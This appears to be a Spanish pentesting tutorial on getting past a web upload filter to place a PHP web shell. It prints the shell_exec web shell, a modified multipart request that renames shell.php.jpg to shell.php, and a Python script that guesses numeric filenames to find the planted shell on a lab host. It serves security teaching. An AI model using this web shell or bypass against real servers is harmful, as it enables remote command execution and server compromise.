Artículo · Pentesting a Aplicaciones Web

Técnicas para Bypassear un Uploader y subir una Web Shell

Samuel EstebanSamuel Esteban 4 min de lectura

Introducción

Cuando se realiza un Pentesting Web, lo más importante es detectar vulnerabilidades que permitan ganar acceso al sistema, si el sitio web maneja usuarios, es probable que sea posible encontrar un uploader para subir alguna imagen de la cuenta de usuario, etc. En esta oportunidad veremos cómo Bypassear un uploader para subir una web shell.

 

Bypass Uploader – Foro Especializado

 

Tenemos un uploader en una ruta específica. (En la vida real este estilo de formularios se puede detectar  por lo general dentro de una sesión, pero para efectos de prueba simularemos que ya estamos dentro de la sesión y se nos solicita subir una imagen). 

En primer lugar lo que haremos será subir una imagen válida para verificar que se pueden subir correctamente las imágenes.

 

Bypass Uploader – Intentando Subir Imagen Válida

 
 
 

Bypass Uploader – Imagen Subida Exitosamente

 

A continuación, debemos encontrar el directorio, donde la imagen fue subida, para ello podemos utilizar diversas técnicas como por ejemplo hacer un proceso de Web Scraping, técnicas de Google Dorks, herramientas como dirbuster, burpsuite, etc.


En este caso detectamos que el directorio donde se subían los archivos es uploads.

 

 

Bypass Uploader – Directorio con Imagen Subida

Ahora vamos a empezar a intentar subir una shell simple php la cual es la siguiente:

 
//shell.php
<?php
$cmd = $_GET[‘cmd’];
echo shell_exec($cmd);
¿>

Esta simple Web Shell, lo que hace es ejecutar comandos del sistema a través de la variable cmd. Intentaremos subir el archivo shell.php a ver qué sucede.

 

Bypass Uploader – Intentando Subir Archivo PHP

 

Bypass Uploader – Archivo NO Válido

 

Lo que haremos, será editar el archivo y agregar la extensión jpg , quedando de la forma shell.php.jpg, finalmente intentamos subir el archivo. Utilizaremos el plugin de Firefox Tamper Data, para capturar la trama de esta petición y modificarla antes de que llegue al servidor. Una vez cargada la imagen, en Tamper Data seleccionamos la opción Comenzar Modificación, esta opción nos permitirá capturar todas las peticiones enviadas al servidor.

 

Bypass Uploader – Tamper Data

 

Posteriormente presionamos el botón de Submit del formulario web, Tamper Data nos preguntará si deseamos Modificar la petición, presionamos Modificar y observamos lo siguiente.

 

Bypass Uploader – Trama POST Uploader

 

Lo que debemos hacer es cambiar shell.php.jpg por shell.php y posteriormente presionamos aceptar.

Actual


-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php.jpg"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------
-----------------------------43489332500\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php\n\n$cmd = $_GET['cmd'];\n\necho shell_exec($cmd);\n\n?>\n\r\n-----------------------------43489332500\r\nContent-Disposition: form-data; name="submit"\r\n\r\nSubmit\r\n-----------------------------
 

Bypass Uploader – web shell subida con éxito

 

La Web Shell fue subida con éxito. Esto se debe a que el programador no realizó una validación de tipos de datos POST la subida del archivo.

Bypass Uploader – web shell en el servidor

Finalmente ejecutamos la Web Shell.

 

 

Bypass Uploader – web shell en el servidor

 

Ahora tenemos el siguiente escenario:

 

Bypass Uploader – Nuevo Escenario

Subimos el archivo Web Shell de la misma forma que el anterior:

 

Bypass Uploader – Subiendo Archivo

 

Acá nos damos cuenta de que el nombre del archivo subido no nos aparece. Si vamos a la ruta uploads con el nombre del archivo shell.php tenemos lo siguiente:

 

Bypass Uploader – Archivo shell.php no encontrado

 

El archivo no se encuentra en la ruta uploads, ahora vamos a la ruta uploads para poder ver nuestro archivo y nos percatamos de lo siguiente:

 

Bypass Uploader – Directorio no legible para el usuario final

 

No es posible listar los archivos del servidor. Si volvemos al menú principal, tenemos una imagen que corresponde al logo de BacktrackAcademy, al abrirlo en el browser:

 

Bypass Uploader – Imagen Backtrack Academy

 

Nos percatamos que el archivo de imagen de bta (Backtrack Academy) es un número, por ende podríamos intentar detectar nuestra Web Shell, a través de una secuencia numérica con la extensión .php. Para automatizar este proceso lo haremos con Python.

 

#!/usr/bin/python
#exploitShell.py
import requests
for i in range(23451, 30000):
website = "http://192.168.206.130/uploads/"+str(i)+".php"
response = requests.get(website)
if response.status_code == 200:
print "[+]Probable Web Shell, verificar manualmente..[+]"
print website
break
else:
print "Not Found"
 

Bypass Uploader – Web Shell Detectada

 

Finalmente verificamos manualmente si se trata de la Web Shell.

 

Bypass Uploader – Web Shell en el Servidor

 

Efectivamente hemos detectado la Web Shell, como se puede ver en la imagen anterior a través del script se logró detectar el archivo malicioso en el Servidor Web.

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Samuel Esteban

Escrito por

Samuel Esteban

Senior Pentester

Actualmente me desempeño como Pentester...

Sigue leyendo

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.

Evil Limiter
Pentesting a Aplicaciones Web

Evil Limiter

Erik Garcia

Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.